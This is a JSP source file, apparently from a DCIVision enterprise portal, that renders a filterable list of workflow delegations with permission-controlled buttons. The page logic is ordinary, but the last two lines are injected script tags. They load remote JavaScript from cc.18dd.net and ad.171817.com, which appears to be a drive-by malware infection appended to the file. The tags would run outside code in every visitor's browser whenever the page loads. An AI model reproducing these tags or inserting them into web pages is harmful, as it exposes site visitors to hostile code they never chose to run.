<%
/*
 * @(#)ListWorkflowDelegation.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowDelegation.jsp

  This is a ListWorkflowDelegation page.  It shows the active workflow groups' record in EIP.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      23/03/2003
    @version            $Revision: 1.15.4.15 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.util.List"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserDelegationForm" scope="request" class="com.dcivision.user.web.ListUserDelegationForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "userDelegationList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.source_user", "FULL_NAME"},
                            {"user.columnheader.delegate_object_type", "OBJECT_TYPE"},
                            {"user.columnheader.delegate_to", "TARGET_OBJECT_NAME"},
                            {"user.columnheader.start_date", "START_DATE"},
                            {"user.columnheader.end_date", "END_DATE"},
                            {"common.columnheader.update_date", "UD_UPDATE_DATE"},
                            {"common.columnheader.updater", "UD_UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = {
                            {"user.columnheader.source_user", "C.FULL_NAME"},
                            {"user.columnheader.delegate_to", "TARGET_OBJECT_NAME"}
                          };

  int     COLUMN_OFFSET = 2;
  SessionContainer ctx=(SessionContainer)request.getSession().getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
  PermissionManager permission=ctx.getPermissionManager();
  String hasDelegation=GlobalConstant.FALSE;
  String hasWorkList=GlobalConstant.FALSE;
  String hasDelegationDelete=GlobalConstant.FALSE;
  String hasNew=GlobalConstant.FALSE;
  String hasRight=null;
  UserRecord userRecord=permission.getUserRecord();
  String loginID=userRecord.getID().toString();
  List getFunction=sessionContainer.getAccessibleSystemFunction();
  java.util.Iterator iterator=getFunction.iterator();
  while (iterator.hasNext())
   {
    SysFunction getSysFunction=(SysFunction)iterator.next();
     if (SystemFunctionConstant.WORKFLOW_DELEGATION.equals(getSysFunction.getFunctionCode()))
     {
        hasDelegation=GlobalConstant.TRUE;
     }

  }
  if  (permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_DELEGATION,"D"))
  {
    hasDelegationDelete=GlobalConstant.TRUE;
  }
  if  (permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_DELEGATION,"I"))
  {
    hasNew=GlobalConstant.TRUE;
  }
 if (permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_TASK,"N"))
  {
    hasWorkList=GlobalConstant.TRUE;
  }
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowDelegation" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<layout:listBar>
 <div class="button">
   <layout:returnButton className="but-standard"/>
   <%if ((GlobalConstant.TRUE).equals(hasWorkList)  ){ %>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="N" functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>' link="MaintWorkflowDelegation.do" label="common.label.new"/>
      <%} else  if  ((GlobalConstant.TRUE).equals(hasNew)) { %>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>' link="MaintWorkflowDelegation.do" label="common.label.new"/>
       <%} else {%>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>' link="MaintWorkflowDelegation.do" label="common.label.new"/>
       <%}%>
 <%if ((GlobalConstant.TRUE).equals(hasWorkList)) {%>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="N" functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>' label="common.label.delete" onClick="return(OpListDelete(listUserDelegationForm))"/>
      <%} else  if  ((GlobalConstant.TRUE).equals(hasDelegationDelete)) {%>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>' label="common.label.delete" onClick="return(OpListDelete(listUserDelegationForm))"/>
      <%} else {%>
       <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>' label="common.label.delete" onClick="return(OpListDelete(listUserDelegationForm))"/>
       <%}%>
 </div>
 <layout:filterControl/>
 </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
   <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' onkeypress="onKeyPressHandler(event);" size='25' maxlength='100'/>
    </td>
   </tr>
  </table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listUserDelegationForm, '${listUserDelegationForm.sortAttribute}', '${listUserDelegationForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listUserDelegationForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listUserDelegationForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserDelegationForm.getSortAttribute()%>" sortOrder="<%=listUserDelegationForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="userDelegation" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userDelegation).getID()%>);">
    <td align="center">
        <%
          String sourceUserID=((UserDelegation)userDelegation).getSourceUserID().toString();
          if ((GlobalConstant.TRUE).equals(hasWorkList) && loginID.equals(sourceUserID)) {
        %>
      <logic:permission right='N' functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='userDelegation' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
     <%} else {%>
      <logic:permission right='D' functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='userDelegation' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
      <%}%>
    </td>
    <td align="center">
        <%
          if ((GlobalConstant.TRUE).equals(hasWorkList) && loginID.equals(sourceUserID)){
        %>
      <logic:permission right='N' functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>' >
      <a href="MaintWorkflowDelegation.do?navMode=E&ID=<bean:write name='userDelegation' property='ID'/>&targetObjectType=<bean:write name='userDelegation' property='targetObjectType'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%} else {%>
       <logic:permission right='E' functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>' >
      <a href="MaintWorkflowDelegation.do?navMode=E&ID=<bean:write name='userDelegation' property='ID'/>&targetObjectType=<bean:write name='userDelegation' property='targetObjectType'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%}%>
    </td>
    <td align="center">
        <%
          if ((GlobalConstant.TRUE).equals(hasWorkList) && loginID.equals(sourceUserID)) {
        %>
      <logic:permission right='N' functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>'>
      <a href="MaintWorkflowDelegation.do?navMode=C&ID=<bean:write name='userDelegation' property='ID'/>&targetObjectType=<bean:write name='userDelegation' property='targetObjectType'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%} else {%>
       <logic:permission right='C' functionCode='<%=SystemFunctionConstant.WORKFLOW_DELEGATION%>'>
      <a href="MaintWorkflowDelegation.do?navMode=C&ID=<bean:write name='userDelegation' property='ID'/>&targetObjectType=<bean:write name='userDelegation' property='targetObjectType'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%}%>
    </td>
    <td nowrap><%=UserInfoFactory.getUserFullName(((UserDelegation)userDelegation).getSourceUserID())%></td>
    <td nowrap><bean:message key='<%="common.label.object_type_"+((UserDelegation)userDelegation).getObjectType()%>'/></td>
    <td>
      <% if ( GlobalConstant.SUBJECT_TYPE_USER.equals( ((UserDelegation)userDelegation).getTargetObjectType() )) { %>
      <html:img src='IconUser.gif' />
      <% } else if ( GlobalConstant.SUBJECT_TYPE_ROLE.equals( ((UserDelegation)userDelegation).getTargetObjectType() )) { %>
      <html:img src='IconRole.gif' />
      <% } else if ( GlobalConstant.SUBJECT_TYPE_GROUP.equals( ((UserDelegation)userDelegation).getTargetObjectType() )) { %>
      <html:img src='IconGroup.gif' />
      <% } %>
      <bean:write name='userDelegation' property='targetObjectName'/>
    </td>
    <td nowrap><bean:write name='userDelegation' property='startDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/></td>
    <td nowrap><bean:write name='userDelegation' property='endDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='userDelegation' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='userDelegation' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listUserDelegationForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>